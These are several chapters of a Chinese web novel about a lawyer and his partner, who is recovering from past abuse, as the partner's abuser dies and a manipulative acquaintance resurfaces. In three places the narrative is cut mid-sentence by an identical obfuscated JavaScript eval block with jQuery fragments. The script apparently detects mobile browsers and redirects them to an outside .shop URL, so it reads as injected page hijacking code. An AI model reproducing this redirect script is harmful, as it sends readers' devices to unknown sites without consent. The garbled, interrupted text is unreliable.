《段老师养花日记》
2. 02
段泽洲这一晚睡得并不踏实,第二天醒来时比往常早了二十多分钟。
他闭着眼睛听了一会儿外面的动静。
厨房门被拉开了,又很快关上,安静了几分钟后又重新拉开。
之后,阳台的烘干机响了,电动晾衣架被降下来又升回去。
段泽洲属于重度起床困难户,平日里鲜少亲耳听到早上的这些小动静。今天难得有了个机会,他安静听着,觉得自己家里像是养了一个田螺姑娘。
几分钟之后,外面的动静彻底消失了。
段泽洲翻身下床,披了一件厚睡衣,连洗漱都没顾得上,先出去了。
花眠挺惊讶:“今天怎么这么早?”
段泽洲逗他:“你太吵了,把我吵醒了。”
“不可能。”花眠瞪他,“我动作很轻的。”
段泽洲矮下身子,下巴靠到了花眠肩膀上,打了个哈欠说:“我看看今天吃什么。”
花眠被他压得快要直不起腰了,“哎哎”笑着和他一同来到餐桌前,指了指桌上的早餐。
面包边烤得酥脆,太阳蛋煎得很圆很厚,船形的小碟子里摆了五只煎饺,还搭配了一杯黑豆豆浆。
段泽洲搂着花眠的腰,懒洋洋地说:“快,炫我嘴里。”
被花眠用胳膊肘轻轻怼了一下肚子。
段泽洲去上班时,花眠刚洗完澡,正准备睡下。
他换了一件宽松的睡衣,打着哈欠和段泽洲说再见,一抬手露出了手腕内侧一片深深浅浅的划痕。
段泽洲接过他的手,低头在他的手背上亲了一口,说:“走了,上坟去了。”
花眠受不了地说:“你这嘴能不能别一天天就知道胡说八道啊!”
段泽洲说:“那不然呢!谁上班不是这心情啊?”
没精打采地到达律所后,段泽洲打起精神开始工作——先搜了一下沈重的新闻。
什么都没搜到。
也正常。
当年那个官司,沈家觉得丢不起这个人,早早地和沈重做了切割,只在最后判决下来后用了点关系保了一把,这才有了后面的暂予监外执行。除此之外,沈家没再伸手管过沈重的事。
现在沈重死了,对沈家来说,大概也是种解脱——一个精神疾病严重的大儿子整日追着一个男Alpha要死要活,说出去真的不好听。
段泽洲不再去想这些,关掉所有的网页后,开始了今天的工作。
*
下午三点左右,花眠睡醒了。
起床后,他先去了厨房。他在睡前给烤箱设置了定时,刚好在他起床后停止。
他简单查看了面包的状态后,回到浴室洗漱。
花眠的头发有点长了,吹头发的时候,几缕发丝掉到脸上,刺得他脸颊发痒。
他皱着鼻子,用手背抹掉那几根发丝。
动作间,他的手背碰到了侧脸上那一块浅浅的凸起。
是一道不算旧的伤疤。
伤口不算短,也很深,但花眠毕竟年轻,护理得好,恢复得也快,现在再看,那道可怖的伤疤只残留了一点浅浅的粉色,并不明显了。
不了解内情的人,大概只以为这是一道长得不够乖巧的胎记。
花眠没那么爱美,对那些沉重的往事也已经放下了大半,这些疤痕他每日都看到,已经很难再在心里起什么波澜了。
洗漱完毕后,花眠拿了几块自己烤的面包试味道,顺便剪了一个视频——这段日子积攒了不少烘焙失误的题材,可以水一期失误特辑了。
花眠还在读大学,没什么固定的工作,也没有稳定的收入来源。他平日里就喜欢做些蛋糕甜点,某日心血来潮,整理了一些自己拍摄的食物制作视频放到了网上,没想到挺意外地获得了不少好评,这个账号就这么做起来了。
啃完了一块面包后,大门被敲响了。
花眠动作一顿,迟疑着朝门口走去。
段泽洲没说今天有客人来,会是谁呢?
花眠有点抵触地朝门口走着,蜗牛一样慢吞吞。
从猫眼里一看,花眠在心里叫了一声“我的天呐”,面色惨白地开了门。
来人名叫林见清,是段泽洲的母亲。
“伯母,”花眠嗫嚅着,“您怎么来了。”
林见清带了一袋高筋面粉和一箱鸡蛋过来。她换了鞋,开口先批评了一通花眠的作息:“你才起啊?你这作息不行,得改改。”
花眠:“……哦。”
进门之后,林见清往沙发一坐,下巴朝厨房的方向一抬。
花眠屁颠屁颠地小跑着去厨房,端了一盘饼干出来。
林见清吃了两块,有点噎,又示意花眠给她倒点喝的。
于是花眠又从豆浆机里倒了一杯红枣豆浆,递了过去。
林见清吃饱喝足了,终于开始说正事了:“论文怎么样了?”
花眠嗓子一堵:“在、在写呢。”
林见清了然道:“写到前言了?”
花眠好悲伤——他竟然无法反驳。
他垂下头,默默叹气,无话可说。
林见清看见他这副样子,仿佛看见了自己那些不争气的学生。她按按额头,说:“把你论文给我看看。虽然我不懂你那些东西,但大致逻辑可以给你捋一捋。”
花眠挣扎了一会儿,认命地拿出笔记本,调出了自己的论文。
之后,他被林见清疯狂输出了半个小时。
最后,林见清也受不了了:“如果我是你们学校的老师,你这个开题我不会给你过。”
花眠两眼发直,灵魂已经飘走有一会儿了。
好在,这个时候段泽洲回家了。
这人打开门看了一眼,震惊地说:“我老天呐我回错家了,不好意思,打扰了。”
林见清合上花眠的笔记本,扬声道:“姓段的,你给我滚进来。”
段泽洲低眉顺眼地换了拖鞋,进屋了。
林见清指了指花眠的小狗睡衣,不满地说:“是你爸破产了还是你们律所破产了?你看花眠穿的这是什么啊。”
说罢又挑剔起自己儿子的衬衫和大衣:“还有你,一天天人模狗样的,你是这么正经的人吗?”
段泽洲直愣愣地往地上一躺,两眼一闭,两只手往肚子上一搁,开始装死。
大约半小时后,林见清终于准备离开了。
段泽洲喜不胜收:“不送了哈!”
花眠不能说这种话,再三纠结后还是开口挽留:“伯母,不留下来吃晚饭吗?”
林见清说:“老段今晚不在家,我要点外卖吃。”
段泽洲竖起耳朵:“吃什么?”
林见清:“烤冷面。”
段泽洲啧了一声:“再见。”
临出门时,林见清一边弯腰穿鞋,一边问花眠:“钱够用吗?”
花眠没什么用钱的地方,自己那点兼职赚的钱足够用了。
他实话实说:“够用的。”
林见清瞥了他一眼,往鞋柜
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17033512|194592||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
上放了一张卡:“十万。省着点用啊。”
花眠慌忙地摆摆手,红着脸拒绝:“伯母,真的不用!”
林见清说:“给小洲买衣服。你们俩一天天的,一个穿得像卖保险的,一个穿得像初中生。”
卖保险的段泽洲无辜地说:“段老师每位委托人都要感慨一句‘段老师可太帅了’,你说我像卖保险,我真不服。”
林见清说:“人跟你客气,也就你当真。”
终于请走这位老太太之后,段泽洲无语地说:“老太太下回过来,你能不能提前给我通个风报个信啊?我得有点心里准备吧!”
花眠好无辜:“我不敢。她盯着我改论文。”
两人相对无言了一会儿,又同时笑了。
花眠……之前因为一些原因,没有读完大学,大二的时候就休学了。
后来和段泽洲谈恋爱后,林见清找了点关系,恢复了花眠的学籍,让他把没读完的学业念完。
这晚睡前,段泽洲叫住花眠:“花老师,明天晚上赏个脸,接我一趟。”
他说了个地址:“我明天下午要去这儿开会,顺便吃饭,肯定得喝酒。”
段泽洲应酬多,但酒量真谈不上好,每次都是硬撑着到结束,花眠经常去接他,也习惯了。
他握了握段泽洲的手,说:“行。大概几点结束呀?我十点半到,可以吗?”
段泽洲说“差不多”。
第二天傍晚,花眠提前弄好了饭菜,又准备了一些缓解酒后不适的暖汤,开车出发了。
说起来,他这些年鲜少出门,更谈不上和谁交流,除了去学校之外,大概只有考驾照的那段时间会出门了。
他按照段泽洲发来的地址找了过去,算了算时间估计饭局快结束了,便没找停车场,只在路边停下了。
他熄了火,把车窗打开了一点缝隙。
……却没想到,会在这时候遇到一个意想不到的人。
马路对面,高大冷峻的Alpha正一瞬不错地盯着他。
是钟意。
花眠关上车窗,脑袋一片空白地看向前方。
只不过几秒之间,钟意已经来到他的车子旁边,伸手敲了敲他的车窗。
花眠浑身僵硬地坐在驾驶座上,反复深呼吸过几次后,放下了车窗。
寒风呼呼地吹进车里,把原本温暖的狭小空间吹得冰冷无比。
花眠的长发打着卷被吹起,刺得他唇齿酸涩。
“好久不见了,眠眠。”钟意不是有耐心的人,等了许久都不见花眠开口,便主动同他打了招呼,“你的脸色看起来不错,好像也胖了一些。”
花眠没有看他,连一个余光都没有给过去,只给他一个冷淡的侧脸。
钟意并不在乎这些,浅浅笑了一声,说起了另一件事:“本来我还在犹豫该怎么告诉你,没想到今天就见面了,正好,大概是老天爷就想让你知道这件事。”
他的手挤进半开的车窗,却没有遮住半点冷气。
他的手指扣着窗子,低声说:“你应该还不知道,昨天凌晨,沈重死了。”
他见花眠仍没有反应,耐着性子又说了一句:“段泽洲不在我们这个圈子里,或许他还不知道这件事。眠眠,沈重死了,以后,你不用再担惊受怕了。”
花眠终于给了一点反应。他微微抬起头,平静地看了一眼车外站着的人,淡淡地说:“好希望下次有人来告诉我,钟意死了。”
车窗外,钟意的脸色陡然冷了下来。
3. 03 段老师养花日记(1)
花眠不想和他纠缠,再次升起车窗。
钟意沉着脸在车外看着,灰色的羊绒围巾下摆被寒风吹起,微微飘动。
就在车窗即将完全关闭的时候,他忽然伸手,挤进了最后那点缝隙中——
车窗感受到了异物,突兀地停了下来。
太冷了。室外不知何时飘起了丝丝雪花,钟意只穿了一件薄薄的大衣,手背已经冻得泛白,现下被车窗打了一下,又起了一片红肿。青白和红肿交错着映在手背上,却并不显得柔弱可怜,只现出一种阴森森的凌厉感。
他轻笑一声,没什么感情地开了口:“眠眠,你在记恨我。”
他不等花眠回答,自顾自地继续说:“这也太没道理了,眠眠。当时我想帮你,是你拒绝我,是你不要我帮你,怎么现在还怪上我了?”
说起这些,钟意甚至觉得自己才是该生气的人,语气更加阴沉:“是你非要选段泽洲。段泽洲有什么能耐?他能给你什么?他能给你的,我一样能给你。但我能给你的,他给得了吗?”
钟意此人自说自话的本领十分强。愤怒过后,他又很快哄好了自己,继续温声对花眠说:“眠眠,现在还来得及,我说过的话一直算数。”
花眠看了他一眼,隔着那条窄窄的缝隙,轻声开了口:“钟意,你——”
花眠停顿了一下,冷冷地说:“离我远点。”
钟意像是真的不解:“沈重做的事,你也要赖在我身上?”
花眠奇道:“沈重不是好人,难道你就是?怎么,我不该恨你吗?”
他闭了闭眼睛,再开口时声音带着一丝颤抖:“你是没强迫过我吗?沈重是疯子,你也是个垃圾。”
钟意怒道:“花眠,你——”
就在这里,马路对面传来一阵热闹人声。
段泽洲的饭局结束了。
几个人有说有笑地走出酒店大厅,好像一瞬间就带走了飘荡着的寒冷雪花。
段泽洲的手臂上挂着自己的大衣,只穿着一件薄薄的羊绒衫,和为首的中年Alpha说了几句话。
他们身后,一位女性Alpha笑着插了一句:“下周行领导汇报,段律,还是您来吗?”
段泽洲半开玩笑地说:“我是打刑事的,大材小用了啊。”
方才那位领导适时接话:“那还是希望永远不用段律出手,哈哈。”
花眠紧绷的情绪陡然松懈下来。
他没有再理会别的,关了车窗,一打方向盘,朝马路对面驶去,完全不去管是否会撞到外面的人。
钟意向后退了几步,脸色阴沉地看着那辆驶离自己的车。
*
花眠掉头过来的时候,段泽洲那边的人已经散了。
他按了喇叭,示意那人上车。
小雪花逐渐变大了。
段泽洲坐进来的时候,也带进了几片雪花。
温暖的车内裹入了一丝凉意,又很快被暖风吹散。
段泽洲带着一身酒气,干脆坐在了后排。他伸手碰碰花眠的脸颊,说:“送你一片雪花。”
花眠脸颊一冰——
原来,段泽洲从车窗上粘了一片小雪花下来,贴在了花眠脸上。
花眠哭笑不得:“你好无聊。”
段泽洲笑了笑,凑到前排想亲他,又碍于酒气,犹豫了一下坐了回去。
这时,他的余光越过车窗,看到了钟意。
耽误的这几分钟时间,钟意也过了马路,安静地站在花眠的车前,注视着车内的一切。
段泽洲本来都躺到后座上了,看见钟意后挺无奈地又坐了起来。
他放下车窗,跟那人打了个招呼:“好巧。”
钟意微笑着说:“好久不见了,小洲。”
段泽洲无语地说:“钟意,你才比我大了不到两岁,天天‘小洲小洲’的,你叫小辈呢?”
钟意表面上在和段泽洲打招呼,实际上视线一直定在花眠脸上,听到这话后才转而看向段泽洲,说:“你怎么老是斤斤计较这些。”
段泽洲敲敲车窗,不满地说:“还成我斤斤计较了?行,那以后我就叫你小意,小意小意,你看你爱听不爱听。”
被段泽洲这么胡搅蛮缠一通,钟意心里更加窝火。他盯着段泽洲看了一会儿,笑了一下,说:“我说不过你。”
说着他低头看了看手表:“我还有点事,先走了。小洲,眠眠,有空一起吃饭啊。”
段泽洲挥了挥手:“没空哈,每天喝酒快喝死了,小意放过小洲吧,啊。”
段泽洲这人说话贯是如此,一时之间钟意也无法分清这是心里话,还是借题发挥的冷嘲热讽。
他点了点头,说:“随便你。”
段泽洲也很满意地点了点头。正欲道别时,他忽然又开口说:“小意,好久没见嫂子了,带个好啊。”
话说到这里,钟意终于能确定段泽洲是故意在恶心他。他冷笑了一声,说:“行,有空来家里吃饭。”
段泽洲比了个OK的手势,说:“有空再说。”
敷衍的意味很明显了。
花眠没有管车外的人,只从后视镜里看了一眼段泽洲,抿了抿嘴,脸上终于露出一点浅浅的笑意。
一打方向盘,走了。
*
说起来,沈重也好,钟意也好,别的什么人也好,段泽洲和这些人的关系不远不近、不冷不热,能称得上一句认识,但要说有多熟悉,倒也未见得。
他们这些人的关系,要向上追溯到爷爷和姥爷那一辈。
那一辈的人,是一起当过兵上过战场,一起死里逃生过的关系,是过命的交情。
但到了父母那一辈,关系就慢慢淡了。
和平年代没那么多打打杀杀,个人自谋出路,有的下海经商,有的读书从政,还有的,靠着祖上那点威望和声名横行霸道。
再到了这一辈,祖上的那点亲近,也就散得差不多了。
那些人瞧不上段泽洲,觉得他假正经、假好人、伪君子。
段泽洲也看不上他们,觉得那些人只会靠着老祖宗留下的东西坐吃山空。
实在没想过的是,渐行渐远的一群人,最后会因为一个花眠而重新有了交集。
赶走了钟意后,段泽洲心里也窝火得很。
先前听说这个饭局地点的时候他没多想,只觉得确实耳熟,现在见到了钟意才后知后觉——前阵子,钟意的公司搬到这栋写字楼了。
早知道就不让花眠过来接了。
各怀心事的两个人一路沉默着回了家。
段泽洲那点酒劲儿也过去了,他在车上一直小心瞧着花眠的脸色,见花眠没什么异常,才稍微放下心来。
到家之后,段泽洲快速冲了澡,出来之后张嘴就要吃的:“饿死我了。”
花眠笑眯眯地戴上隔热手套,从烤箱里端出一盘千层饼,看起来心情很不错:“之前在网站上发过一次制作意式千层饼的视频
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17033513|194592||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
,评论都在说,我这个东西一看就是做给自己吃的,芝士和肉酱放得太足啦。”
段泽洲也乐了:“这个评论我看见了,没说错啊!”
花眠把椅子搬到他身旁,坐到旁边有一口没一口地吃着。
段泽洲在心里犹豫着是否有必要开口提起今晚的事——钟意也好,沈重也好,终究只是过客,他们是生是死、是好是坏,和花眠、和自己,已经没有半点关系了。如今花眠恢复得很好,他觉得实在没有必要再用这些事去打扰他。
正犹豫着的时候,花眠主动开了口:“晚上的饭菜很难吃吗?”
段泽洲立刻诉苦道:“不知道!根本没吃几口,光喝酒了。”
花眠掩嘴偷笑,走过去靠在他身后,轻轻给他捏着肩膀:“好啦段老师,辛苦啦。”
饭后,花眠抱着段泽洲换下来的衣服去了阳台。他一个个检查过衣裤的口袋,确认没有物品残留后,把这些衣裤丢进了洗衣机。
水龙头打开后,哗啦啦的凉水涌入洗衣机。
花眠转身去拿洗衣液,拧开盖子的时候忽然愣住了。
太多的凉水落到衣服上,反而冲上来一股明显的酒味。
段泽洲多少算是个有身份的人,他参加的饭局,必定喝的好酒。
复杂多种的味道混合在一起,夹杂在苦涩的酒液里,一点一点飘进花眠鼻中。
略显苦涩的木制苦调后是一点不太明显的糖味,像是熬开了的焦糖。
几秒钟后,甜味和苦味完全融合,像一块浓郁又甜美的酒心巧克力。
这点不太明显的甜味却不知怎地击中了花眠。
他摸了摸洗衣机,费力地掏出那件被水流打得湿透的上衣,眼泪怔怔地落了下来。
段泽洲过来厨房倒垃圾,刚好看到了这一幕。
……他实在不能算是一个细心的男人,这一晚都快要结束了,他才迟钝地回忆起这一晚喝过的酒。
波本威士忌,很不巧,他的信息素也是这个味道。
太久没闻过这个味道了,段泽洲自己竟然都觉得陌生起来。
他扔下手里的垃圾,走到阳台,从背后拥住花眠,笑着说:“又怎么了,小祖宗?”
花眠抿着嘴,把那件衣服放回洗衣机,又用手背擦干了眼泪,才回过头来。
他用手臂环住段泽洲的腰,侧脸紧紧贴着他的胸口,轻声说:“我好爱你,哥哥。”
段泽洲不知该说什么好。他拍拍花眠的背,嘴唇吻着他的头发,片刻之后也低声说:“我知道,眠眠,我知道。”
*
段老师养花日记(1)
提了新车,出门第一个拐弯就出了车祸。
已经麻了。
这人不要命一样往我车上撞,好在我开车谨慎速度慢,又及时刹了车,才没出什么大事。
我气急败坏,不是,着急忙慌地下了车,撞我车的人躺在路上,腿好像有点骨折。
我没办法,报了警又叫了救护车。
喜提人生第一次坐救护车的经历。
这救护车的司机开车真野啊……我午饭都快吐出来了。
那人很瘦,脸色也很差,好怕他死掉。
救护车上的护士却觉得我大惊小怪。
在车上,医护人员跟他确认身份信息。
他还清醒着,只是腿骨折了。但是说话的语气有气无力,好像受了什么致命伤一样痛苦。
他说他叫花眠。
4. 04
段泽洲比花眠大了快七岁,花眠他叫一声哥哥倒也无可厚非。
只是……
段泽洲轻轻叹了一口气:“不是说好不说这些了吗?”
花眠在他的肩膀上蹭干了眼泪,说:“我不是这个意思。”
段泽洲拥着他走到沙发上坐下,手里还在抚着他的背。
段泽洲沉思了一会儿,开口说起今晚的事。
“今天晚上是我太粗心了。喝酒的事也好,钟意的事也好,我都该细心一些,早点发现的。”
花眠伸手去捂他的嘴,脸上看不出什么不快:“刚刚不是才说过不提了吗?”
段泽洲笑弯了眼:“好好好,不提,不提。”
两人安静了一会儿后,花眠提起了另一件事:“上次伯母过来说我这个作息不行,让我改。”
段泽洲幸灾乐祸道:“我早跟你说过不行,早就让你改,你不听,非要让我妈过来把你数落一顿。”
花眠闷闷地“哦”了一声。
段泽洲又说:“那你改不改?”
花眠依然闷闷地:“改。不然下次又要挨骂。”
段泽洲用手摸摸他的下巴,逗弄小猫一样:“那你怎么改?”
花眠抬头看他,眼睛亮亮的。
他的答案就装在眼睛里。
段泽洲心里一软,把他搂进自己怀里,装模作样地问:“那你要不要搬来我的卧室?”
花眠依然没回答,只是伸出手搂住他的脖子,脸上笑意更甚。
*
花眠没拿太多东西,只把自己的被子和枕头抱进了段泽洲的卧室,特别乖巧地坐在他的床上。
说着要调整自己的作息,但真到了这个时候,花眠又有些犹豫:“如果我睡不着觉,会影响你吗?”
段泽洲说:“我睡觉像猪一样,你影响不了我。”
花眠沉思道:“也是哦。”
段泽洲掐他脸:“你再说一遍。”
胡闹了一会儿之后,花眠躺进被子里。虽然毫无困意,但还是和段泽洲说了“晚安”:“我尽量不发出动静哦。”
段泽洲隔着被子把他捞进怀里:“你这个作息不可能一天就调过来,没关系,慢慢来。”
花眠苦恼地说:“其实,就算伯母不说,我也想调整一下了。每次上白天的课时都觉得很困,这样也不行。”
他很怕段泽洲问起他的论文,便率先抢话道:“不许问我的论文怎么样了!”
段泽洲哈哈大笑。
中间说了些有的没的,到了十点多的时候,花眠依然毫无困意。
他在床上小心地翻了身,尽量放轻声音,不去打扰旁边的人。
但段泽洲也并没有睡着。
他隔着被子戳戳花眠的背:“你到底想说什么?这一晚上都欲言又止。”
花眠比他小太多了,一丁点心事都藏不住,在段泽洲面前,他简单得像张白纸。
花眠闻言又转了过来。
他的脸上没有什么太特殊的表情,很平淡地说起藏了一晚上的心事:“钟意跟我说,沈重死了。”
段泽洲大概猜到了会是这件事,也没有太多惊讶。他“啊”了一声,说:“就是前两天的事。”
他有心想解释一下:“我觉得没什么必要告诉你,就没跟你说。”
花眠眨了眨眼睛,浅浅地笑了,脸颊挤出一对可爱的小酒窝:“我知道,我也不关心这些,你告诉我或者不告诉我,都一样的,我无所谓。我只是在想——”
花眠的笑意温暖不似作假:“段老师,其实我听到这个事情的时候,第一反应是……我当时竟然在想,沈重是谁。”
见到钟意的时候,花眠满心只有厌恶,而听到这句话的时候,他的第一反应又很平淡。
……甚至,他脸上和手臂上的伤口比他的思绪更先一步反应过来。
那些早就好了的伤疤,早就痊愈了的伤口,比他的心更先一步痛了起来。
到了那一刻,花眠才后知后觉。
沈重、沈重是……
那曾经是他最大的噩梦。
但事到如今,沈重这个人,和沈重曾经做过的事情,好像早已经在他的生命里烟消云散了。
那些过往就像一个梦。
到了现在,花眠甚至不会用噩梦去形容那些事了。
他掀开自己的被子,偷偷钻到段泽洲那边去,两只手抱紧他的腰,侧脸贴着他的胸口。
他闭着眼睛说:“我现在只觉得,我真的好爱你,段老师。”
胸口上沉甸甸的分量一直钻到了段泽洲心里,今晚的那些不快也终于随着这句话彻底消失无踪。
他搂紧怀里的人,调笑着说:“好了好了,知道你很爱我了,不用一直说。”
花眠偷笑着看他,笑得眉眼弯弯。
花眠说着尽量不发出动静,这一晚也真的很安静。段泽洲不知道自己什么时候睡过去的,也不知道花眠什么时候睡过去的,总之第二天一早睁开眼睛,那人在自己怀里睡得安稳。
难得有这样的机会,段泽洲也没有声张,安静地躺在一边,用视线描绘着花眠的五官。
段泽洲对花眠不算见色起意。但是,即便已经相爱这么多年,这样毫无防备地看到花眠的睡颜,段泽洲仍然觉得心动。
长长的睫毛覆在眼睑,落下一小片阴影。他安静地睡在枕头上,看上去却是那样的生机勃勃。
白皙的面容搭配着姣好的五官,任谁看了都是一副可怜可爱的模样。
段泽洲忍不住伸手碰碰他,动作放得很轻,划过那道伤痕的时候更是小心。
当时花眠抱着鱼死网破的心态在自己脸上划了这一刀,下手很重,伤痕也很深。
出色的样貌不是他的优点,只是刺向他的最尖锐的武器。
那时,沈重没有来得及制止,刀刃划破皮肤的时候,沈重如丧考妣,仿佛被毁了容的不是花眠,而是沈重他自己。
事隔多年,伤口早就愈合了,这道伤痕也已经很浅了,但段泽洲碰到这里的时候,还是轻之又轻,生怕自己一个动作就会弄痛他。
安稳的日子过了太久,段泽洲好像也忘了,初见花眠时,他远不是现在的样子。
想起那些,段泽洲又觉得现在这样的生活实在太好了。他的爱人能够重新振作起来,实在是太好了。
他在床上躺了好一会儿,直到翻来覆去的动静几乎快要吵醒花眠时,才不得不从床上爬起来。
……然后发现已经十点了。
段泽洲惊了,动作飞快又小心翼翼的立刻跑着去洗漱。
虽说他是律所的合伙人,没人规定他必须按时打卡上班,迟到也不会扣钱,但……
一觉睡到十点也太夸张了吧!
段泽洲一边换衣服一边看手机,还要小心翼翼地避免
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17033514|194592||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
吵醒花眠。
……秘书给他发了三条消息,还打了一个电话。
他完全没听到。
好在不是什么急事,只是问他今天早上是否有别的安排。
但,大概是迟迟没有等到回复,秘书最后发了一个问号。
段泽洲淡定地扯着慌:【我手机sim卡坏了,去换卡了。】
段大律师的谎话信手拈来:【原来不是每一个营业厅都能换卡啊,我跑了好几趟。】
秘书很体贴地回复道:【段老师,下次您告诉我,我帮您跑就是了。】
*
处理完这一天的工作后,段泽洲给花眠发了消息,告诉他自己今晚要回一趟父母那里,让花眠不用等他吃饭。
到了父母那里时,段恒也刚下班回来,顺便把林见清的奶茶拎回来了。
段恒见了儿子,别的没说,先告了一状:“你看你妈,天天喝奶茶。”
段泽洲:“你也喝。”
段恒说:“喝了,失眠到半夜,再也不敢了。”
段泽洲无语道:“那你这是告的哪门子状?”
段恒无辜地看他。
父子两个胡搅蛮缠了一通,林见清忍不了了,打断他们:“行了行了,老段没个正形。小洲,你爸是想问你,沈家小子那事,你听说了吗?”
段泽洲:“……”
他头痛地按了按鼻梁,心想,这一天两天的没完没了,沈重阴魂不散啊!
“听说了,”段泽洲无语道,“死了,死了,我知道,沈重死了。”
段恒“哦”了一声,说:“明天出殡,今天早上老沈才告诉我。我说明天我怎么也得去看看,老沈不让。”
段泽洲正在削苹果,听到这话后想了一会儿,说:“大概是想越简单越好吧,也正常。”
沈重这个人,在他们沈家内部,也是个不太能提起的人。
沈重比段泽洲小两岁。
小时候,段泽洲、沈重还有钟意三个孩子年纪相仿,又都是男孩,在军区大院里一块儿长大,关系还算近。
段泽洲六岁左右的时候,段恒一家搬走了,远离了大院,也远离了所谓的权力中心。
再之后,段家和那两家人的关系就淡了。
十几岁的时候,段泽洲忽然听说沈重死了。
他不解地回家问父母,段恒只说,大人的事情你不要管。
段泽洲自己打听了几次,得来的消息全然不同。
有人说沈重太败家被赶出家门了,有人说他染了重病去世了,更有甚者,说他是被人绑架撕票了。
……直到偶然遇见花眠,他才知道,原来沈重十几岁的时候确诊了精神分裂,还合并了一些其他难以治愈的情感障碍类疾病,暴力倾向严重,几乎被“软禁”了起来严加看管着。
沈家对此讳莫如深,不愿提及,宁愿外界猜测这个孩子已经去世,也不愿过多解释。
段泽洲想着这些,慢慢削好了苹果,正准备放进嘴里时,被段恒一把抽走,嘎巴一下咬掉了半个。
段泽洲:“……?”
段恒含糊地说:“老沈说不让去,我肯定还是要去看看。今天叫你回来是问问你的意思。”
林见清在段泽洲就要发火的前一秒过来给他顺毛,塞了一个爱媛到他手里,说:“问问你们小花儿的意思,他要是不愿意,老段就不去了,意思意思随点钱就算了。”
5. 05 段老师养花日记(2)
林见清是北方人,儿化音说得很溜,平时称呼花眠的时候,也喜欢加个儿化音,叫“小花儿”。
段泽洲对此有过不满:“你别跟叫小猫儿小狗儿一样行不行?”
林见清说:“怎么了?小猫儿小狗儿怎么了?你在我眼里也是小猫儿小狗儿。”
段泽洲无语:“我说不过你,老太太。”
林见清说:“你知道就行,少来招惹我。”
起初,段泽洲的父母不怎么愿意接受这段感情——更明确地说,是不想接受花眠这个人。
倒不是因为花眠和沈重的那些纠葛,而是……
“咱们段家,没有他们沈家有钱,也没有钟家会站队,我们不过大富大贵、手眼通天的生活,从搬出大院的那一天,我和你爸就决定了,我们这辈子只想过安安稳稳的生活。”
选择了花眠,在某种程度上就算是和沈重撕破脸了。沈重这种神经病,会做出什么事来,没人能够预测。
段泽洲以为父母在担心这些,年轻气盛时什么都敢想、什么都敢说:“怕沈家?他们管教不好自己的儿子,不觉得丢脸吗——”
“谁怕他们?”段恒淡淡打断道,“我这半辈子,身正不怕影子斜,他就算真想找我麻烦,也没那么容易抓我把柄。倒是你,小洲,你有这个底气吗?”
林见清循循善诱:“小洲,如果你只是想和那个孩子玩玩,我和老段是不可能同意的——咱们段家,不养金丝雀。”
段泽洲怒道:“谁养金丝雀?!”
林见清说:“在别人看来,你就是在养金丝雀。”
她抢在段泽洲再次反驳之前开口:“如果你觉得不是,那你告诉我,如果离开了你,离开了其他所有人,花眠有没有自己独立生活的能力?”
林见清从来都不是好说话的人,但她也从不会强词夺理。
她所说的话,字字认真:“花眠连大学都没念完就被沈重……”
她隐去一些词,只说:“他体验过这个社会吗?除了沈重,他知道别人一样居心叵测、他知道人心险恶吗?你口口声声说不是在养金丝雀,那我问你,花眠手里有钱吗,有身份地位吗?离开了你,他能做什么,他怎么生活?小洲,他不能完全依附于你,他不能做养在温室里的菟丝花。”
段恒适时接道:“他也未必愿意——如果他愿意,他何必和沈家那孩子闹成这样呢?小洲,你妈说话直,但她说的话,你考虑一下。”
冷静下来之后,段泽洲认真考虑了父母说的话。
别的暂且不说,父母总有一点是对的。
花眠不可能一直依附于他生活。
花眠……花眠不是愿意做金丝雀的人。
后来,段泽洲试着和花眠沟通。
……话还没说出口,心疼先涌了上来。
那时的花眠瘦骨嶙峋,抱在怀里时,入手只摸到一把细细的骨头。
花眠很拘谨地看他,问他怎么了。
段泽洲用手掌抚着他的头发,温声问:“又快到7月了,快放暑假了。眠眠,等到9月份再开学的时候,你想不想回学校?”
褪去防备后的花眠眉眼温和又冷淡。他看着段泽洲,眉毛依然习惯性地浅浅皱起。
“我……”他迟疑地问,“还能回去吗?上次办休学的手续,已经是三年前了。我的学籍……应该没有保留着。”
段泽洲用指腹抚平他的眉心,低声说:“你想回去,我就帮你想办法。”
再之后,这个办法没用段泽洲来想,母亲先出手帮他搞定了。
而作为交换的条件,是花眠要在这剩下的三年大学时光里,重新融入到这个社会。
只一眨眼,这三年就要结束了。
这一晚段泽洲回家时,花眠正在剪视频。
他看到段泽洲手里提着的爱媛,欢天喜地地扑了上来;“我好喜欢吃爱媛!”
段泽洲掏出一个递给他:“我爸买的。这老头,沉迷上网买水果。”
他像大型犬一样趴在花眠背上,看着小恋人被压弯了腰,还要费力地“背”着背上的大累赘艰难回到沙发坐下。
